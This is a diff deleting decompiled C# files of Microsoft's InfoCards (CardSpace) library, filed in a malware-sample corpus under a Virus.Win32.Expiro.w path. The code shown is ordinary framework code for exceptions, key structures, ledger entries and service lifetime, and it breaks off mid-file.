Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InvalidCardException : InfoCardBaseException - { - private const int HRESULT = -1073413881; - - public InvalidCardException() - : base(-1073413881) - { - } - - public InvalidCardException(string message) - : base(-1073413881, message) - { - } - - public InvalidCardException(string message, Exception inner) - : base(-1073413881, message, inner) - { - } - - protected InvalidCardException(SerializationInfo si, StreamingContext sc) - : base(-1073413881, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs deleted file mode 100644 index 3e12b66f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InvalidStoreProtectionKeyException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InvalidStoreProtectionKeyException : InfoCardBaseException - { - private const int HRESULT = -1073413880; - - public InvalidStoreProtectionKeyException() - : base(-1073413880) - { - } - - public InvalidStoreProtectionKeyException(string message) - : base(-1073413880, message) - { - } - - public InvalidStoreProtectionKeyException(string message, Exception inner) - : base(-1073413880, message, inner) - { - } - - protected InvalidStoreProtectionKeyException(SerializationInfo si, StreamingContext sc) - : base(-1073413880, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IssuerInformation.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IssuerInformation.cs deleted file mode 100644 index e9b1a593..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IssuerInformation.cs +++ /dev/null @@ -1,72 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IssuerInformation -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class IssuerInformation - { - private List m_informationEntries; - - public IssuerInformation() => this.m_informationEntries = new List(); - - public void Serialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.m_informationEntries.Count); - if (this.m_informationEntries.Count <= 0) - return; - foreach (IssuerInformationEntry informationEntry in this.m_informationEntries) - { - Utility.SerializeString(writer, informationEntry.Name); - Utility.SerializeString(writer, informationEntry.Value); - } - } - - public void ReadIssuerInformation(XmlReader reader) - { - if (!reader.IsStartElement(nameof (IssuerInformation), "http://schemas.xmlsoap.org/ws/2007/01/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - while (reader.Read()) - { - if ("IssuerInformationEntry" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - this.ReadIssuerInformationEntry(reader); - if (nameof (IssuerInformation) == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && XmlNodeType.EndElement == reader.NodeType) - break; - } - } - - public void ReadIssuerInformationEntry(XmlReader reader) - { - if (!reader.IsStartElement("IssuerInformationEntry", "http://schemas.xmlsoap.org/ws/2007/01/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - string name = string.Empty; - string str = string.Empty; - while (reader.Read()) - { - if ("IssuerInformationEntry" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && XmlNodeType.EndElement == reader.NodeType) - { - this.m_informationEntries.Add(new IssuerInformationEntry(name, str)); - break; - } - if ("EntryName" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - { - name = reader.ReadString(); - if (string.IsNullOrEmpty(name)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException()); - } - if ("EntryValue" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - str = reader.ReadString(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IssuerInformationEntry.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IssuerInformationEntry.cs deleted file mode 100644 index c20821aa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/IssuerInformationEntry.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IssuerInformationEntry -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal class IssuerInformationEntry - { - private string entryName; - private string entryValue; - - public string Name => this.entryName; - - public string Value => this.entryValue; - - public IssuerInformationEntry(string name, string value) - { - this.entryName = name; - this.entryValue = value; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs deleted file mode 100644 index a89f163d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KerberosTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class KerberosTokenFactoryCredential : TokenFactoryCredential - { - public KerberosTokenFactoryCredential() - : base(TokenFactoryCredentialType.KerberosCredential) - { - } - - protected override void DeserializeData(BinaryReader reader) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KeyBlock.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KeyBlock.cs deleted file mode 100644 index 57d59c19..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KeyBlock.cs +++ /dev/null @@ -1,47 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KeyBlock -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 592)] - internal struct KeyBlock - { - public const int StructSize = 592; - public const int EncryptedKeyBlockSize = 512; - public const int Pkcs5IVBlockSize = 32; - public const int SaltBlockSize = 32; - public const int IVOffset = 0; - public const int SaltOffset = 32; - public const int IterationCountOffset = 64; - public const int EncryptedKeySizeOffset = 68; - public const int EncryptedKeyOffset = 72; - public const int ReservedPaddingOffset = 584; - public const int KeyTypeOffset = 588; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] - [FieldOffset(0)] - public byte IV; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] - [FieldOffset(32)] - public byte Salt; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(64)] - public int IterationCount; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(68)] - public int EncryptedKeySize; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] - [FieldOffset(72)] - public byte EncryptedKey; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(584)] - private int ReservedPadding; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(588)] - public int KeyType; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KeyBlockV2.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KeyBlockV2.cs deleted file mode 100644 index f7bd8f23..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KeyBlockV2.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KeyBlockV2 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct KeyBlockV2 - { - public const int StructSize = 8; - public const int keySizeOffset = 0; - public const int keyDataOffset = 4; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(0)] - public int KeyDataSize; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(4)] - public int KeyDataOffset; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KeyGenRestartCodes.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KeyGenRestartCodes.cs deleted file mode 100644 index a64bc659..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/KeyGenRestartCodes.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.KeyGenRestartCodes -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal enum KeyGenRestartCodes - { - X931RestartNone, - X931RestartDTooSmall, - X931RestartNonTrivialGcd, - X931RestartPQOverflow, - X931RestartPQ12OverFlow, - X931RestartXpXqClose, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LedgerEntry.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LedgerEntry.cs deleted file mode 100644 index be24e496..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LedgerEntry.cs +++ /dev/null @@ -1,211 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LedgerEntry -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class LedgerEntry - { - private const int InvalidRow = 0; - private const byte Version = 1; - private const byte m_marker = 29; - private bool m_isDirty; - private DateTime m_disclosureDate = DateTime.MinValue; - private string m_recipientId; - private Recipient m_recipient; - private byte[] m_subjectKey; - private string[] m_disclosedClaims; - private Uri m_infoCardId; - private string m_immediateRecipientOrgId; - private int m_rowId; - - public LedgerEntry(Stream stream, StoreConnection connection) - { - InfoCardTrace.Assert(null != stream, " Null input stream"); - InfoCardTrace.Assert(null != connection, "Null storeconnection"); - this.m_isDirty = false; - this.Deserialize(stream); - DataRow singleRow = connection.GetSingleRow(new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - InfoCardTrace.Assert(null != singleRow, "Recipient should always exist in store before a ledger entry is created "); - if (singleRow != null) - this.m_recipient = new Recipient((Stream) new MemoryStream(singleRow.GetDataField())); - this.ThrowIfNotComplete(); - } - - public static LedgerEntry NewLedgerEntry( - Uri infoCardId, - Recipient recipient, - byte[] masterKey, - string immediateTokenRecipientOrganizationIdentifier) - { - return new LedgerEntry(infoCardId, recipient, masterKey, immediateTokenRecipientOrganizationIdentifier); - } - - public LedgerEntry( - Uri infoCardId, - Recipient recipient, - byte[] masterKey, - string immediateTokenRecipientOrganizationIdentifier) - { - InfoCardTrace.Assert(null != recipient, "Null recipient"); - InfoCardTrace.Assert((Uri) null != infoCardId, "Null infocard ID"); - this.m_isDirty = true; - this.m_infoCardId = infoCardId; - this.m_disclosureDate = DateTime.Now; - this.m_recipient = recipient; - this.m_recipientId = recipient.RecipientId; - this.m_immediateRecipientOrgId = immediateTokenRecipientOrganizationIdentifier; - this.m_subjectKey = RsaKeyGen.CreateRsaKeyPairX931(masterKey, Convert.FromBase64String(immediateTokenRecipientOrganizationIdentifier)); - this.ThrowIfNotComplete(); - } - - public bool CheckAndUpdateSubjectKey(string immediateTokenRecipientOrgId, byte[] masterKey) - { - if (!(this.m_immediateRecipientOrgId != immediateTokenRecipientOrgId)) - return false; - this.m_immediateRecipientOrgId = immediateTokenRecipientOrgId; - this.m_subjectKey = RsaKeyGen.CreateRsaKeyPairX931(masterKey, Convert.FromBase64String(immediateTokenRecipientOrgId)); - return true; - } - - public bool IsDirty => this.m_isDirty; - - public DateTime DisclosureDate - { - set - { - this.m_disclosureDate = value; - this.m_isDirty = true; - } - } - - public byte[] SubjectKey - { - get - { - InfoCardTrace.Assert(!Utility.ArrayIsNullOrEmpty((Array) this.m_subjectKey), "SubjectKey not populated!"); - return this.m_subjectKey; - } - } - - public string[] DisclosedClaims - { - get => this.m_disclosedClaims; - set - { - this.m_disclosedClaims = value; - this.m_isDirty = true; - } - } - - public Recipient Recipient => this.m_recipient; - - public Uri InfoCardId => this.m_infoCardId; - - public void ThrowIfNotComplete() - { - if (this.m_immediateRecipientOrgId == null || this.m_recipientId == null || Utility.ArrayIsNullOrEmpty((Array) this.m_subjectKey) || !((Uri) null != this.m_infoCardId) || !(DateTime.MinValue != this.m_disclosureDate)) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Serialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((byte) 1); - writer.Write(this.m_disclosureDate.ToFileTimeUtc()); - Utility.SerializeString(writer, this.m_recipientId); - Utility.SerializeString(writer, this.m_immediateRecipientOrgId); - Utility.SerializeBytes(writer, this.m_subjectKey); - Utility.SerializeUri(writer, this.m_infoCardId); - writer.Write(this.m_disclosedClaims == null ? 0 : this.m_disclosedClaims.Length); - if (this.m_disclosedClaims != null) - { - foreach (string disclosedClaim in this.m_disclosedClaims) - Utility.SerializeString(writer, disclosedClaim); - } - writer.Write((byte) 29); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != reader.ReadByte()) - InfoCardTrace.Assert(false, "version mismatch deserializing ledger"); - this.m_disclosureDate = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_recipientId = Utility.DeserializeString(reader); - this.m_immediateRecipientOrgId = Utility.DeserializeString(reader); - this.m_subjectKey = reader.ReadBytes(reader.ReadInt32()); - this.m_infoCardId = Utility.DeserializeUri(reader); - int length = reader.ReadInt32(); - if (length > 0) - { - this.m_disclosedClaims = new string[length]; - for (int index = 0; index < length; ++index) - this.m_disclosedClaims[index] = Utility.DeserializeString(reader); - } - if ((byte) 29 != reader.ReadByte()) - InfoCardTrace.Assert(false, "Invalid stream detected deserializing ledger"); - this.ThrowIfNotComplete(); - this.m_isDirty = false; - } - - public void Save(StoreConnection con) - { - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - if (row == null) - { - row = new DataRow(); - row.ObjectType = -1; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - row.SetIndexValue("ix_name", (object) this.m_recipientId); - MemoryStream output = new MemoryStream(); - this.Serialize(new BinaryWriter((Stream) output, Encoding.Unicode)); - row.SetDataField(output.ToArray()); - con.GetSingleRow(QueryDetails.FullHeader, new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - if (row != null) - con.Save(row); - else - InfoCardTrace.Assert(false, "Currupt store - no recipient found for ledger"); - this.m_rowId = row.LocalId; - this.m_isDirty = false; - } - - public override string ToString() => base.ToString(); - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "populate infocard before retrieving ledger"); - return con.GetSingleRow(QueryDetails.FullHeader, new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LedgerEntryCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LedgerEntryCollection.cs deleted file mode 100644 index c7f9295d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LedgerEntryCollection.cs +++ /dev/null @@ -1,65 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LedgerEntryCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class LedgerEntryCollection : Dictionary - { - private Uri m_infoCardId; - - private LedgerEntryCollection() - { - } - - public void Add(LedgerEntry entry) => this[entry.Recipient.RecipientId] = entry; - - public LedgerEntryCollection(Uri infoCardId) => this.m_infoCardId = infoCardId; - - public void Get(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "The infocard id must be specified prior to executing this operation"); - ICollection dataRows = con.Query(QueryDetails.FullRow, new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - if (dataRows == null || dataRows.Count <= 0) - return; - foreach (DataRow dataRow in (List) dataRows) - { - LedgerEntry ledgerEntry = new LedgerEntry((Stream) new MemoryStream(dataRow.GetDataField()), con); - this[ledgerEntry.Recipient.RecipientId] = ledgerEntry; - } - } - - public void Serialize(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write(this.Count); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - keyValuePair.Value.Serialize(writer); - } - - public void Save(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "The infocard id must be specified prior to executing this operation"); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - LedgerEntry ledgerEntry = keyValuePair.Value; - if (ledgerEntry.IsDirty) - ledgerEntry.Save(con); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LifeTimeMonitor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LifeTimeMonitor.cs deleted file mode 100644 index 4851349a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/LifeTimeMonitor.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.LifeTimeMonitor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.ServiceProcess; -using System.Timers; - -namespace Microsoft.InfoCards -{ - internal class LifeTimeMonitor - { - private const int DefaultShutdownInterval = 3600000; - private const int MinimumShutdownInterval = 60000; - private const string ServiceIdleTimeValue = "ServiceIdleTime"; - private int m_activeCount; - private bool m_isShuttingDown; - private Timer m_shutdownTimer; - private object m_syncRoot = new object(); - - public LifeTimeMonitor() - { - int interval = 3600000; - using (new SystemIdentity(false)) - { - using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(InfoCardConstants.RegistryKey, false)) - { - if (registryKey != null) - { - object obj = registryKey.GetValue("ServiceIdleTime", (object) 3600000); - if (obj is int num) - { - if (num >= 60000) - interval = (int) obj; - } - } - } - } - this.m_activeCount = 0; - this.m_shutdownTimer = new Timer((double) interval); - this.m_shutdownTimer.Elapsed += new ElapsedEventHandler(this.OnShutdown); - this.m_shutdownTimer.AutoReset = false; - this.m_isShuttingDown = false; - this.StartShutdownTimer(); - } - - public void AddClient() - { - lock (this.m_syncRoot) - { - InfoCardTrace.Assert(this.m_activeCount >= 0, "incorrect active count"); - if (this.m_isShuttingDown) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException()); - ++this.m_activeCount; - if (1 != this.m_activeCount) - return; - this.StopShutdownTimer(); - } - } - - public void RemoveClient() - { - lock (this.m_syncRoot) - { - InfoCardTrace.Assert(this.m_activeCount > 0, "invalid active count"); - --this.m_activeCount; - if (this.m_activeCount != 0) - return; - this.StartShutdownTimer(); - } - } - - private void OnShutdown(object sender, ElapsedEventArgs args) - { - lock (this.m_syncRoot) - { - if (this.m_activeCount > 0) - return; - this.m_shutdownTimer.Enabled = false; - this.m_isShuttingDown = true; - InfoCardTrace.Audit(EventCode.AUDIT_SERVICE_IDLE_STOP); - } - using (new SystemIdentity(false)) - new ServiceController("idsvc").Stop(); - } - - private void StartShutdownTimer() => this.m_shutdownTimer.Start(); - - private void StopShutdownTimer() => this.m_shutdownTimer.Stop(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ListCardsInFileRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ListCardsInFileRequest.cs deleted file mode 100644 index 9e984031..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ListCardsInFileRequest.cs +++ /dev/null @@ -1,154 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ListCardsInFileRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.IO; -using System.Security.Cryptography; -using System.Text; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class ListCardsInFileRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private RoamingStoreFile m_roamingFile; - private string m_filename; - private string m_passphrase; - - public ListCardsInFileRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.m_roamingFile = new RoamingStoreFile(); - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - 